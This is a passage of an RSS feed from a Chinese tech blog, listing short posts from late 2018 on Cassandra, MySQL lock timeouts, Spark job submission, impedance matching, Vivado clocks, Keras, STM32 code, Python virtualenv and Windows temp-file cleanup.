      <description>本文是我在看cassandra官方文档时写的一篇翻译，由于能力有限，很多地方都翻译的不到位或者和原意有出入，希望大家可以给予指正，由于翻译的较早，而且没有全部完成，有些观点可能已经在最新的cassandra中被更新或者改变，我也会在之后的时间将这些内容补全和修复&#xA;Cassandra是一种无性能损耗的高拓展性和可用性的分布式数据库。线性的可伸缩性以及被商品级硬件设施和云基础架构验证的容错技术使它成为任务关键型数据存储的良好平台。Cassandra支持跨多个数据中心的副本备份是非常棒的，为使用者提供低延迟和即使某个区域停电也能正常运转的放心。&#xA;节点间通信（gossip）&#xA;Gossip是一种点对点的通信协议，按照这个协议节点间定期的交换自己和其他他们知道的节点的状态信息。Gossip进程每秒运行一次来与集群上的最多其他3个节点交换状态信息。 这些节点交换自己的信息和其他的与这些节点通信的节点信息。所以所有的节点可以快速的了解到集群上的其他节点。&#xA;为了防止gossip通信出现问题，为集群中所有的节点使用了相同列表的种子节点。这种情况在第一个节点启动时非常重要。默认情况下，一个节点在随后的重启中会记住与它通信的其他节点。种子节点的选定除了为新节点加入集群时引导gossiped过程外再无其他目的。种子节点不会有单点故障，除了引导节点外再无其他特定的目的。&#xA;在多个数据中心集群，从每个数据中心的种子列表中选取一个节点是一个好主意。建议每个数据中心指定多余一个种子节点来提高容错能力。否则，当引导一个节点时gossip不得不与另一个数据中心通信。&#xA;不建议为每个节点都创建种子节点，因为这增了加维护量同时降低了性能。Gossip的优化不是关键，但是建议使用一个有少量种子节点的列表（大约每个数据中心三个节点）&#xA;失败检测和恢复&#xA;如果另一个节点挂掉了或者正在恢复中，失败检测方法用于本地确定gossip的状态和历史。Cassandra使用这个信息避免客户端请求被路由到不可到达的节点。（Cassandra也可以避免请求被路由到活着的但是效率低下的节点，请参考dynamic snitch&#xA;Gossip进程使用直接方式（节点的gossiping直接导向他）和间接方式（节点的信息被传达2手，三手，等等）跟踪节点的状态。Cassandra不是使用固定的阈值来标记失败的节点，而是使用一个责权检测机制来计算考虑了账户网路性能，工作量和历史条件的每个节点的阈值。在gossip交换期间，每个节点维护一个与集群中的其他节点的关于gossip信息的上次到达时间的滑动窗口。通过配置phi_convict_threshold 属性来调整错误检测器的灵敏程度。较低的值增加了无反应节点被标记为down的可能性，而较高的值减少了瞬时错误引起的节点故障的可能性。大多数情况使用默认值即可，但是为亚马逊EC2将其增加到10-12（由于经常遇到的网络拥堵）。在不稳定的网络环境（例如有时候EC2就是这样），提高值为10或12有利于防止虚假故障，不建议使用值高于12和低于5。&#xA;节点失败可能由各种原因引起，如硬件失败和网络中断。节点中断往往瞬变，但可以持续很长时间。因为节点中断很少意味着它将从集群中永久的离开，这不会自动导致永久从环中移除节点。其他节点将定期与失败节点尝试建立连接查看他们是否备份。要在集群上永久改变节点的资格，管理员必须从cassandra环上使用 nodetool utility.工具精准的添加或者移除节点。当一个节点在宕机后重新联机时，或许它已经遗失了它所维护的对于副本数据的写操作。存在一个修复机制以恢复遗失的数据，例如hinted handoffs和使用nodetool手动修复。宕机时间的长短将决定哪种修复机制被用于保持数据一致性。&#xA;一致性hash允许数据分布跨越一个集群，以减少增加或减少节点时进行的重组操作。一致性hash基于partition key为数据分区，关于partition key和主见的介绍，请参考&#xA;Data modeling example&#xA;例如，你有如下数据&#xA;Cassandra是一种无性能损耗的高拓展性和可用性的分布式数据库。线性的可伸缩性以及被商品级硬件设施和云基础架构验证的容错技术使它成为任务关键型数据存储的良好平台。Cassandra支持跨多个数据中心的副本备份是非常棒的，为使用者提供低延迟和即使某个区域停电也能正常运转的放心。&#xA;节点间通信（gossip）&#xA;Gossip是一种点对点的通信协议，按照这个协议节点间定期的交换自己和其他他们知道的节点的状态信息。Gossip进程每秒运行一次来与集群上的最多其他3个节点交换状态信息。 这些节点交换自己的信息和其他的与这些节点通信的节点信息。所以所有的节点可以快速的了解到集群上的其他节点。&#xA;为了防止gossip通信出现问题，为集群中所有的节点使用了相同列表的种子节点。这种情况在第一个节点启动时非常重要。默认情况下，一个节点在随后的重启中会记住与它通信的其他节点。种子节点的选定除了为新节点加入集群时引导gossiped过程外再无其他目的。种子节点不会有单点故障，除了引导节点外再无其他特定的目的。&#xA;在多个数据中心集群，从每个数据中心的种子列表中选取一个节点是一个好主意。建议每个数据中心指定多余一个种子节点来提高容错能力。否则，当引导一个节点时gossip不得不与另一个数据中心通信。&#xA;不建议为每个节点都创建种子节点，因为这增了加维护量同时降低了性能。Gossip的优化不是关键，但是建议使用一个有少量种子节点的列表（大约每个数据中心三个节点）&#xA;失败检测和恢复&#xA;如果另一个节点挂掉了或者正在恢复中，失败检测方法用于本地确定gossip的状态和历史。Cassandra使用这个信息避免客户端请求被路由到不可到达的节点。（Cassandra也可以避免请求被路由到活着的但是效率低下的节点，请参考dynamic snitch&#xA;Gossip进程使用直接方式（节点的gossiping直接导向他）和间接方式（节点的信息被传达2手，三手，等等）跟踪节点的状态。Cassandra不是使用固定的阈值来标记失败的节点，而是使用一个责权检测机制来计算考虑了账户网路性能，工作量和历史条件的每个节点的阈值。在gossip交换期间，每个节点维护一个与集群中的其他节点的关于gossip信息的上次到达时间的滑动窗口。通过配置phi_convict_threshold 属性来调整错误检测器的灵敏程度。较低的值增加了无反应节点被标记为down的可能性，而较高的值减少了瞬时错误引起的节点故障的可能性。大多数情况使用默认值即可，但是为亚马逊EC2将其增加到10-12（由于经常遇到的网络拥堵）。在不稳定的网络环境（例如有时候EC2就是这样），提高值为10或12有利于防止虚假故障，不建议使用值高于12和低于5。&#xA;节点失败可能由各种原因引起，如硬件失败和网络中断。节点中断往往瞬变，但可以持续很长时间。因为节点中断很少意味着它将从集群中永久的离开，这不会自动导致永久从环中移除节点。其他节点将定期与失败节点尝试建立连接查看他们是否备份。要在集群上永久改变节点的资格，管理员必须从cassandra环上使用 nodetool utility.工具精准的添加或者移除节点。当一个节点在宕机后重新联机时，或许它已经遗失了它所维护的对于副本数据的写操作。存在一个修复机制以恢复遗失的数据，例如hinted handoffs和使用nodetool手动修复。宕机时间的长短将决定哪种修复机制被用于保持数据一致性。&#xA;一致性hash允许数据分布跨越一个集群，以减少增加或减少节点时进行的重组操作。一致性hash基于partition key为数据分区，关于partition key和主见的介绍，请参考&#xA;Data modeling example&#xA;例如，你有如下数据&#xA;name&#xA;age&#xA;car&#xA;gender&#xA;jim&#xA;36&#xA;camaro&#xA;M&#xA;carol&#xA;37&#xA;bmw&#xA;F&#xA;johnny&#xA;12&#xA;M&#xA;suzy&#xA;10&#xA;F&#xA;Cassandra assigns a hash value to each partition key:</description>
    </item>
    <item>
      <title>记录一次mysql lock wait timeout exceeded; try restarting transactio异常</title>
      <link>https://bchobby.github.io/posts/f5317db3df0da331e736548d4bac9678/</link>
      <pubDate>Sat, 29 Dec 2018 15:11:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5317db3df0da331e736548d4bac9678/</guid>
      <description> 线上阿里云环境出现一个异常 lock wait timeout exceeded; try restarting transactio，而且这个异常导致项目短暂时间卡住了。&#xA;第一步、分析日志 通过日志分析，有其他定时任务work1在某个时间点大并发的访问某个接口interface1，操作了表B，然后后来的其他的任务work2要访问接口interfac2，而interface2也要更新表B。表现就是接口interfac2报了上面的异常。&#xA;第二步、Google问题 google这个问题，大致都得到这样的描述&#xA;information_schema这张数据表保存了MySQL服务器所有数据库的信息。如数据库名，数据库的表，表栏的数据类型与访问权限等。再简单点，这台MySQL服务器上，到底有哪些数据库、各个数据库有哪些表，每张表的字段类型是什么，各个数据库要什么权限才能访问，等等信息都保存在information_schema表里面。&#xA;我们可以用下面三张表来查原因：&#xA;innodb_trx ## 当前运行的所有事务&#xA;innodb_locks ## 当前出现的锁&#xA;innodb_lock_waits ## 锁等待的对应关系。&#xA;确实在 innodb_trx发现了wait的事物，而且mysql数据库默认的事务等待时间是50s&#xA;show variables like &#39;innodb_lock%&#39;; 第三步、解决方案 3.1临时解决 通过 innodb_trx查找到等待的事务，kill +事务ID即可。&#xA;3.2缓解 减少高并发，或者调用接口先进入队列，然后按照顺序出兑这样肯定能一定程度缓解这个问题。将mysql的innodb_lock_wait_timeout时间加长 3.3代码层面 主要原因还是代码效率不高&#xA;分析发现接口interface1操作的更新表B没有利用到索引，导致在百万表中更新会特表慢。其实改接口是单一的，有事务和没有事务都是一样的，没有说必须一起成功或者失败的东西，去掉事务是可行的。如果接口效率高了，但是并发量太大，还出现这个问题，我认为这个时候就需要从设计层面考虑这个问题了，比如拆分表B等等。 </description>
    </item>
    <item>
      <title>Spark提交任务</title>
      <link>https://bchobby.github.io/posts/c64b828453734bbb094967c827fa8bdf/</link>
      <pubDate>Sat, 29 Dec 2018 10:56:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c64b828453734bbb094967c827fa8bdf/</guid>
      <description>提交任务 带着依赖包提交 ./bin/spark-submit --class sparkJava.SparkOnHive_SqlContext \&#xA;--master spark://192.0.0.0:7077 \&#xA;--driver-memory 1g --executor-memory 1g --total-executor-cores 1 \&#xA;--jars （依赖的jar，多个的话用英文逗号隔开）&#xA;jarpath&#xA;提交到yarn ./bin/spark-submit \&#xA;--class net.ctzcdn.processmonitor.monitored.WordContSpark \&#xA;--driver-memory 600m \&#xA;--executor-cores 1 \&#xA;--executor-memory 1g \&#xA;--num-executors 1 \&#xA;--master yarn \&#xA;--deploy-mode cluster myprocess-1.0.jar&#xA;后台提交 nohup ./bin/spark-submit --class net.ctzcdn.processmonitor.monitored.WordCountScala --driver-memory 600m --executor-cores 1&#xA;--executor-memory 1g&#xA;--num-executors 1&#xA;--master yarn --deploy-mode cluster&#xA;myprocess-1.0.jar &amp;gt;&amp;gt; /home/adminuser/soft/scalaWordCount01.log &amp;amp;&#xA;普普通通提交 ./spark-submit \&#xA;--master spark://openstack-030.cdnyf.io:7077 \</description>
    </item>
    <item>
      <title>00002__失恋卖茶女</title>
      <link>https://bchobby.github.io/posts/0030cfcf8f54860144c3d896cd6e1958/</link>
      <pubDate>Fri, 28 Dec 2018 15:17:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0030cfcf8f54860144c3d896cd6e1958/</guid>
      <description>请看：https://www.sohu.com/a/245708839_100215799</description>
    </item>
    <item>
      <title>传输线特性阻抗与阻抗匹配关系【转】</title>
      <link>https://bchobby.github.io/posts/523852170217a46b3f0603fd6f68fb98/</link>
      <pubDate>Thu, 27 Dec 2018 20:49:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/523852170217a46b3f0603fd6f68fb98/</guid>
      <description>人认识事物总是有一个过程，一般都是从具体到抽象。认识特性阻抗也是一样的，在我们认识特性阻抗之前，先认识跟特性阻抗比较相关的一个物理量—电阻。&#xA;电阻是一个实实在在的物理元器件，通过欧姆定律我们可以知道，电压、电流和电阻三者之间的关系，U=I*R&#xA;我们通过一个具体的电路来分析这三者之间的具体关系，请看下面的一张最简单的电路图。这个电路图只有一个电源一个电阻和一些导线组成。&#xA;当然这个电阻的阻值也可以通过用万用表来直接测量。&#xA;特性阻抗就不一样了，用万用表测量一根50欧姆特性阻抗时，将会发现是短路的。这就需要我们从概念上区分电阻（哪怕是刚好是50欧姆的电阻）和特性阻抗是两码事。就像温度上面的度（摄氏度）和角度上的度一样，不是一个东西。&#xA;电阻这个物理量大家都懂，这里就不解释了。我们来分析一下这个特性阻抗到底是何方神圣，是在什么条件下才会用这个东西的。&#xA;其实特性阻抗是和射频紧密相隔的一个物理量，在认识特性阻抗之前先认识一下射频。我们知道电台，手机通讯信号，wifi等都是向外部发射信号能量的装置，也就是说能量是从天线射出去，能量不再回来到天线了，可以想像就像机枪向外面扫射一样，子弹打出去就不回来了。&#xA;好了，明白射频这个东西之后，我们再来到具体的传输射频能量的导线上面来。导线上面传输的射频信号也是一样的，希望它传过去就不要反传回来了，要是有能量反传回来就说明传输的效果差了。&#xA;为了更具体的说明特性阻抗这个东西 我这里打一个比方：&#xA;同一个电路板上面有2根导线（假设都是很长的两根线，你能想像它有多长就有多长），因为同一个板，那么2根导线的铜皮厚度都是一样的。两根导线，长（无限长）和厚度是一样的，只能唯一不同的是宽度了，假设1号导线宽度是1（单位），2号导线是2（单位）。也就是说2号线宽度是1号线的两倍。&#xA;下面的图可以具体看到两根导线的示意图。&#xA;如上图所示，假如同时都接的是一样的射频发射源，同样的一小段时间T，那么我们看看这两根导线会有什么区别。同一个发射源，那么两根线的输出射频电压是一样的，射频传输的距离是一样的（假设都是光速，实际比光速少）。&#xA;唯一不同的是线宽，而2号线的线比1号线宽一倍，那么2号线需要1号线2倍的电量来填满多出的线宽面积(其实是导线铜皮与底面产生的电容效应)。也就是说： Q2=两倍的Q1&#xA;因为 i = Q/T （射频电流=电量/时间），那么可以知道2号线的射频电流是1号线的两倍（因为时间是一样的，2号线电量是1号线的两倍）。&#xA;好了，我们知道了 i2=两倍的i1&#xA;到了这里，我们找出个神秘的特性阻抗就不远了，为什么呢，因为我们知道电阻=电压/电流。其实特性阻抗也有这种关系：特性阻抗=射频电压/射频电流。&#xA;从上面我们知道，射频电压一样的，电流关系为 i2=两倍的i1&#xA;则2号线的特性阻抗只有1号线的一半！&#xA;这就是我们所说的线越是宽，特性阻抗越小。&#xA;上面是我举个例子说明特性阻抗与电阻的区别，以及为什么同样一个板子，特性阻抗与线宽有关系，与长度没有关系。&#xA;实际上影响特性阻抗的因素很多，包括材料，导线与底板地间距等等很多因素相关。&#xA;导线的特性阻抗用通俗的话来描述（只是比喻），就是导线对其上面传输的射频能量阻碍力的大小。&#xA;认识传输线的反射&#xA;上面我们是假设导线是无限长的，而实际上的导线长度是有限。当射频信号到达导线末端，能量没有办法释放，就会沿着导线反传回来。就跟我们对着墙喊，声音碰到墙反传回来产生回音。也就是说我们想像中的射频信号发射出去就没有反射回来的情况在现实是不存在的。&#xA;如上图所示，假如我们在线的末端接上一个电阻来消耗（或者接收）线上传输过来的射频能量。&#xA;有人会问，为什么导线的特性阻抗的电阻不消耗能量，非要接个电阻才能消耗呢？其实啊，导线只是传输能量的，导线本身并不消耗能量或者近似于不损耗能量（有点想电容或者电感的属性）。电阻则是一个损耗能量的元件。&#xA;我们发现有三种特殊情况：&#xA;当R=RO 时，传输过来的能量刚刚好被末端的电阻R吸收完，没有能量反射回去。可看成这导线是无线长。&#xA;当R=∞时（开路），能量全部反射回去，而且在线的末端点会产生2倍于发射源的电压。&#xA;当R=0时，末端点会产生一个-1倍于源电压反射回去。&#xA;认识阻抗匹配&#xA;阻抗匹配是指负载阻抗与激励源内部阻抗互相适配，得到最大功率输出的一种工作状态。&#xA;阻抗匹配是针对射频等而言的，对于功率电路则不适用的，否则会烧掉东西。&#xA;我们常常听说特性阻抗50欧姆，75欧姆等等，这个50欧姆是怎么来的，为什么是50欧姆 而不是51欧姆呢，或者45欧姆呢？&#xA;这个是约定来的，50欧姆应该说对于一般射频电路传输效果更好。也就是说，我们的导线，电缆要做50欧姆，是因为电路负载已经相当于50欧姆的电阻。你做别的阻抗值导线，就和负载不匹配。偏离越远，传输的效果就会越差！</description>
    </item>
    <item>
      <title>【 Vivado 】时钟类型</title>
      <link>https://bchobby.github.io/posts/8de7fb0810a98c7d5b9af13147003158/</link>
      <pubDate>Thu, 27 Dec 2018 20:19:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8de7fb0810a98c7d5b9af13147003158/</guid>
      <description>Vivado进行时序分析，对时钟的约束是必不可少的，设计中的时钟可分为一下几种：&#xA;Primary Clocks 主时钟；Generated Clocks 衍生时钟；Virtual Clocks 虚拟时钟。 Primary Clocks 主时钟一般是FPGA外部芯片如晶振提供的时钟，通过FPGA引脚输入。Vivado进行时序分析时，以主时钟的源端点作为延时计算起始点(0ns点)。主时钟的约束命令如下：&#xA;create_clock-name &amp;lt;clock_name&amp;gt; -period &amp;lt;period&amp;gt; -waveform {&amp;lt;rise_time&amp;gt; &amp;lt;fall_time&amp;gt;} [get_ports &amp;lt;input_port&amp;gt;]&#xA;下面通过几个实例说明一下约束命令：&#xA;create_clock-name clk_main -period 10 -waveform {0 5} [get_ports GCLK]&#xA;周期10ns，0ns上升沿，5ns下降沿。&#xA;create_clock-name clk_main -period 10 -waveform {0 2.5} [get_ports GCLK]&#xA;周期10ns，0ns上升沿，2.5ns下降沿；与a例周期相同，但是占空比不同，a例中50%，b例中25%。&#xA;create_clock-name clk_main -period 20 -waveform {0 10} [get_ports GCLK]&#xA;周期20ns，0ns上升沿，10ns下降沿；与a例占空比相同，都是50%，但是周期不同，a例中10ns，b例中20ns。&#xA;Generated Clocks 衍生时钟是由设计内部产生，一般由时钟模块（MMCM or PLL）或者逻辑产生，并且对应有一个源时钟，源时钟可以是系统的主时钟或者另外一个衍生时钟。约束衍生时钟时，除了定义周期，占空比，还需要指明与源时钟的关系。通过create_generated_clock命令约束衍生时钟，命令如下： create_generated_clock -name&amp;lt;generated clock name&amp;gt; -source &amp;lt;master clock source pin or port&amp;gt; -divide_by &amp;lt;div_factor&amp;gt; &amp;lt;pin_or_port&amp;gt;</description>
    </item>
    <item>
      <title>python数据处理——按列名选取dataframe的多列</title>
      <link>https://bchobby.github.io/posts/7a0dd261dad990b5cac7a1112cfd08fa/</link>
      <pubDate>Thu, 27 Dec 2018 16:12:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a0dd261dad990b5cac7a1112cfd08fa/</guid>
      <description>这是一个经常遇到的问题了，但是为什么专门拿出来写一个博客呢，因为啊，博主啊博主，你太笨了，总是忘！&#xA;最后一次啊，不能再忘了！&#xA;data[[&#39;w&#39;,&#39;z&#39;]] #选择表格中的&#39;w&#39;、&#39;z&#39;列 不是&#xA;data[&#39;w&#39;,&#39;z&#39;] 记住啊！！</description>
    </item>
    <item>
      <title>简单好用的取色器</title>
      <link>https://bchobby.github.io/posts/7a2a6d67750ae12622439f2b971bf0f5/</link>
      <pubDate>Thu, 27 Dec 2018 14:09:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7a2a6d67750ae12622439f2b971bf0f5/</guid>
      <description>我们平常在Android，前段开发的时候，难免需要取一些颜色值，我就推荐一个非常好用的取色器，方便快捷，非常好用。&#xA;双击“取色器.exe”点击想要取得颜色值左键，然后就把颜色值复制下来了 下载地址：取色器</description>
    </item>
    <item>
      <title>Keras中predict()方法和predict_classes()方法的区别</title>
      <link>https://bchobby.github.io/posts/e086c5cf6f3ada9c483f8db7be18a277/</link>
      <pubDate>Thu, 27 Dec 2018 11:33:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e086c5cf6f3ada9c483f8db7be18a277/</guid>
      <description>正如上篇博客中所讲，在Keras框架下执行深度学习任务时，一般会先根据训练数据集训练出模型，然后拿训练好的模型到生产环境（测试集）中部署并生产。以分类问题为例，当训练好了分类模型之后，我们要用这个模型预测测试集中每一个样本的标签，这里有两个常用的方法：predict()方法和predict_classes()方法，下面将以具体例子说明二者的区别。&#xA;相关文件的下载地址如下：&#xA;链接：https://pan.baidu.com/s/1qQU3FTtGeLYK5jXn0cRpQQ&#xA;提取码：qn8r&#xA;1 predict()方法&#xA;当使用predict()方法进行预测时，返回值是数值，表示样本属于每一个类别的概率，我们可以使用numpy.argmax()方法找到样本以最大概率所属的类别作为样本的预测标签。下面以卷积神经网络中的图片分类为例说明，代码如下：&#xA;import numpy as np import scipy.misc from keras.models import model_from_json from keras.optimizers import SGD # 加载模型 model_architecture = &#39;cifar10_architecture.json&#39; model_weights = &#39;cifar_weights.h5&#39; model = model_from_json(open(model_architecture).read())&#x9;# 加载模型结构 model.load_weights(model_weights)&#x9;# 加载模型权重 # 加载图片 img_names = [&#39;cat.jpg&#39;, &#39;deer.jpg&#39;, &#39;dog.jpg&#39;] # np.transpose:对数组进行转置，返回原数组的视图 # scipy.misc.imresize：重新调整图片的形状 # scipy.misc.imread：将图片读取出来，返回np.array类型 imgs = [np.transpose(scipy.misc.imresize(scipy.misc.imread(img_name), (32, 32)), (1, 0, 2)).astype(&#39;float32&#39;) for img_name in img_names] imgs = np.array(imgs) / 255&#x9;# 归一化 # 训练 optim = SGD() model.</description>
    </item>
    <item>
      <title>大数据入门（一）之集群部署</title>
      <link>https://bchobby.github.io/posts/e34fc3ea111f2cff560f1c4537b9410f/</link>
      <pubDate>Sun, 23 Dec 2018 23:14:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e34fc3ea111f2cff560f1c4537b9410f/</guid>
      <description>准备虚拟机 如果你操作的是服务器，那么本副标题下的准备工作可以省略。。。&#xA;下面进入正题~~&#xA;首先检查你的计算机是否支持虚拟化，度娘上有好多检测工具自己下载一个检测下，如果不支持虚拟化，那么恭喜你换电脑吧；如果支持虚拟化，但是没有启动，重启电脑然后进入到BIOS界面开启一下即可。&#xA;这里我用的软件是VMware Workstation Pro，Xshell 5，Xftp 4&#xA;Linux系统用的是CentOS 6.5&#xA;节点我准备了5个：即，node001,node002,node003,node004,node005&#xA;为了以后的操作方便建议： 1、分别修改/etc/sysconfig/network文件，把HOSTNAME修改为本节点名&#xA;2、分别修改/etc/hosts文件把自己和其他节点名和ip地址写上&#xA;3、跟上述同样，修改本机windows下的C:\Windows\System32\drivers\etc\hosts文件&#xA;4、完事之后ping一下其他节点，检查能否ping通&#xA;如上图所示即成功</description>
    </item>
    <item>
      <title>STM32驱动HC-SR04超声波测距模块</title>
      <link>https://bchobby.github.io/posts/9170b20092c337bdbbc2b5d8666ceea9/</link>
      <pubDate>Sun, 23 Dec 2018 17:58:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9170b20092c337bdbbc2b5d8666ceea9/</guid>
      <description>应用知识：定时器输入捕获，脉宽测量 定时器相关知识链接：https://blog.csdn.net/weixin_42046883/article/details/85224572&#xA;模块图片如下图：&#xA;硬件连接：Trig（控制端）---&amp;gt; PG2 Echo（接收端）---&amp;gt; PA6 通用定时器3通道1&#xA;#include &#34;distance.h&#34; #include &#34;usart.h&#34; //Trig（控制端）---&amp;gt; PG2 //Echo（接收端）---&amp;gt; PA6 通用定时器3通道1 /** * @brief NVIC配置 * @param 无 * @retval 无 **/ static void Distance_NVIC_Config(void) { NVIC_InitTypeDef NVIC_InitStructure; NVIC_PriorityGroupConfig(NVIC_PriorityGroup_2); NVIC_InitStructure.NVIC_IRQChannel = TIM3_IRQn; //定时器3 NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE; NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 1; NVIC_InitStructure.NVIC_IRQChannelSubPriority = 1; NVIC_Init(&amp;amp;NVIC_InitStructure); } /** * @brief GPIO引脚配置 * @param 无 * @retval 无 **/ static void Distance_GPIO_Config(void) { GPIO_InitTypeDef GPIO_InitStructure; RCC_APB2PeriphClockCmd(RCC_APB2Periph_GPIOA | RCC_APB2Periph_GPIOG, ENABLE); GPIO_InitStructure.</description>
    </item>
    <item>
      <title>【python】（虚拟环境）安装，配置和使用</title>
      <link>https://bchobby.github.io/posts/95d6ea44e230213b37b533e5d0577de0/</link>
      <pubDate>Sun, 23 Dec 2018 10:52:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95d6ea44e230213b37b533e5d0577de0/</guid>
      <description>【python】（虚拟环境）安装，配置和使用 写在前面的话 本文为个人在 OneNote 上的笔记，分享到网络上（我的 CSDN blog 上）。仅供参考。&#xA;并非手把手一步步的教程。所以有看得不明白的地方欢迎在评论区解释和补充，但是请勿喷一篇个人笔记。&#xA;一行一行输入命令即可 Reference Pipenv &amp;amp; 虚拟环境 @ readthedocs.io&#xA;https://blog.csdn.net/xx790008409/article/details/78461929&#xA;开始操作 $ sudo pip3 install virtualenv&#xA;Collecting virtualenv&#xA;Downloading https://files.pythonhosted.org/packages/b6/30/96a02b2287098b23b875bc8c2f58071c35d2efe84f747b64d523721dc2b5/virtualenv-16.0.0-py2.py3-none-any.whl (1.9MB)&#xA;100% |████████████████████████████████| 1.9MB 12.4MB/s&#xA;Installing collected packages: virtualenv&#xA;Successfully installed virtualenv-16.0.0&#xA;$ mkdir usePythonVirtualEvn&#xA;$ cd use…&#xA;$ virtualenv usePythonVirtualEvn&#xA;Using base prefix &#39;/usr&#39;&#xA;New python executable in /home//usePythonVirtualEvn/usePythonVirtualEvn/bin/python3&#xA;Also creating executable in /home//usePythonVirtualEvn/usePythonVirtualEvn/bin/python&#xA;Installing setuptools, pip, wheel...done.&#xA;$ ### 以上为方法一 ?</description>
    </item>
    <item>
      <title>Win10系统中临时文件夹位置及临时文件的删除</title>
      <link>https://bchobby.github.io/posts/3ded9872b10b3e29db44588ed23395ee/</link>
      <pubDate>Fri, 21 Dec 2018 21:57:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3ded9872b10b3e29db44588ed23395ee/</guid>
      <description>Win10系统中临时文件夹位置及临时文件的删除 工具/原料 硬件：电脑 操作系统：Windows10 百度经验:jingyan.baidu.com 方法/步骤 1 ①Windows临时文件夹&#xA;查找Windows临时文件夹在系统盘中的位置。&#xA;进入资源管理器，点击系统C:\盘；&#xA;步骤阅读 2 在打开的系统C:\盘中找到并点击：Windows，打开Windows文件夹窗口；&#xA;步骤阅读 3 在Windows文件夹窗口右上角的搜索栏中输入：Temp；&#xA;步骤阅读 4 系统自动搜索，搜索出来的临时文件全部显示在窗口中，但这些文件中有的是安装信息文件，有的是脚本文件，还有的是.dll文件，如果不清楚文件用途，建议不要随便删除；&#xA;步骤阅读 5 ②用户帐户临时文件夹&#xA;查找用户帐户临时文件夹在系统盘中的位置及删除用户帐户临时文件。&#xA;进入资源管理器，依次展开 C:\Users（用户）\xyz75（用户名）\AppData\Local\Temp；&#xA;步骤阅读 6 我们也可以点击系统桌面左下角的【开始】，在开始菜单中点击【运行】，在运行对话框中输入：%temp%命令，点击确定或者回车，打开用户帐户临时文件夹；&#xA;步骤阅读 7 Temp文件夹显示的都是用户帐户临时文件，我们按下键盘上的Ctrl+A键，选中全部临时文件，右键点击，在右键菜单中点击：删除；&#xA;步骤阅读 8 可能出现少数或个别临时文件正在使用中，无法删除的现象，跳过可以了（注销系统或电脑重启后可以删除）；&#xA;步骤阅读 9 ③IE临时文件夹&#xA;查找IE临时文件夹及删除IE临时文件。&#xA;进入资源管理器，依次展开 C:\Users（用户）\xyz75（用户名）\AppData\Local\Microsoft\Windows\INetCache；&#xA;步骤阅读 10 我们也可以进入【控制面板】，点击【Internet选项】，在打开的Internet 属性窗口，点击【浏览历史记录】项的【设置（S）】（在退出时删除历史记录复选框内打勾）；&#xA;步骤阅读 11 在打开的网站数据设置窗口，点击【查看文件】，也可以打开INetCache文件夹（IE高速缓存临时文件夹）；&#xA;步骤阅读 12 INetCache文件夹显示的都是IE临时文件，我们按下键盘上的Ctrl+A键，选中全部临时文件，右键点击，在右键菜单中点击：删除；&#xA;步骤阅读 13 我们点击删除后，会弹出一个警告对话框：确实要删除选中的Cookie吗？，如果一定要删除，点击：是（Y）；&#xA;步骤阅读 14 点击【是】以后，INetCache文件夹中的IE临时文件全部删除了。&#xA;步骤阅读 15 以上即：Windows10系统中，Windows临时文件夹、用户帐户临时文件夹和IE临时文件夹在系统盘中的位置，删除临时文件夹中临时文件的方法。供朋友们参考使用。</description>
    </item>
    <item>
      <title>java.io.FileNotFoundException: class path resource [spring/applicationContext.xml] cannot be opened</title>
      <link>https://bchobby.github.io/posts/0bcc3d1964df70a055cdaf9a390e3a9a/</link>
      <pubDate>Fri, 21 Dec 2018 17:16:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0bcc3d1964df70a055cdaf9a390e3a9a/</guid>
      <description>标题没贴完整，这里补充下异常情况：&#xA;java.io.FileNotFoundException: class path resource [spring/applicationContext.xml] cannot be opened because it does not exist 这是一个很奇葩的问题，好多原因都可以导致这种问题，还有一点就是clean及package后启动Tomcat，就报上面那个异常，但是rebuild一下，就能正常启动了，这就怪了。总之就是开始了多日的爬坑&#xA;现就我多日爬坑经历，简单介绍下：&#xA;1、配置文件路径错误&#xA;这个具体大家可以看自己项目的配置文件路径，该配置在web.xml文件中&#xA;&amp;lt;context-param&amp;gt; &amp;lt;param-name&amp;gt;contextConfigLocation&amp;lt;/param-name&amp;gt; &amp;lt;param-value&amp;gt;classpath:spring/applicationContext.xml&amp;lt;/param-value&amp;gt; &amp;lt;/context-param&amp;gt; 网上也找了很多，好多都是说路径错误，要在classpath 后加*，即：&#xA;classpath*:spring/applicationContext.xml 这样不能说没用，只是能说对我是没用，并且个人觉得，这只是解决一时的问题。总之就是要确认自己的路径没问题。&#xA;2、编译有问题&#xA;这个首先要到工程目录或本地项目目录下看看编译后的文件有没有问题&#xA;正常应该是有这些文件夹：（idea下工程目录）&#xA;注意，红框中是配置文件（注意编译文件夹的颜色，idea下一般是橙色）&#xA;也可在本地查看：&#xA;同样，红框中为配置文件&#xA;（我的问题就是编译后没有配置文件及文件夹）&#xA;网上有些说要设置成自动编译，即勾选setting-compiler下的Build project Automatically选项。但是对比了一下同类项目，没有勾选也能正常编译，总之，这个对我又没用。&#xA;之后，想到了pom文件中的打包配置插件，于是找到了那块代码：&#xA;&amp;lt;resources&amp;gt; &amp;lt;resource&amp;gt; &amp;lt;directory&amp;gt;src/main/java&amp;lt;/directory&amp;gt; &amp;lt;filtering&amp;gt;false&amp;lt;/filtering&amp;gt; &amp;lt;includes&amp;gt; &amp;lt;include&amp;gt;**/*.xml&amp;lt;/include&amp;gt; &amp;lt;/includes&amp;gt; &amp;lt;/resource&amp;gt; &amp;lt;resource&amp;gt; &amp;lt;directory&amp;gt;src/main/resources&amp;lt;/directory&amp;gt; &amp;lt;filtering&amp;gt;true&amp;lt;/filtering&amp;gt; &amp;lt;/resource&amp;gt; &amp;lt;/resources&amp;gt; 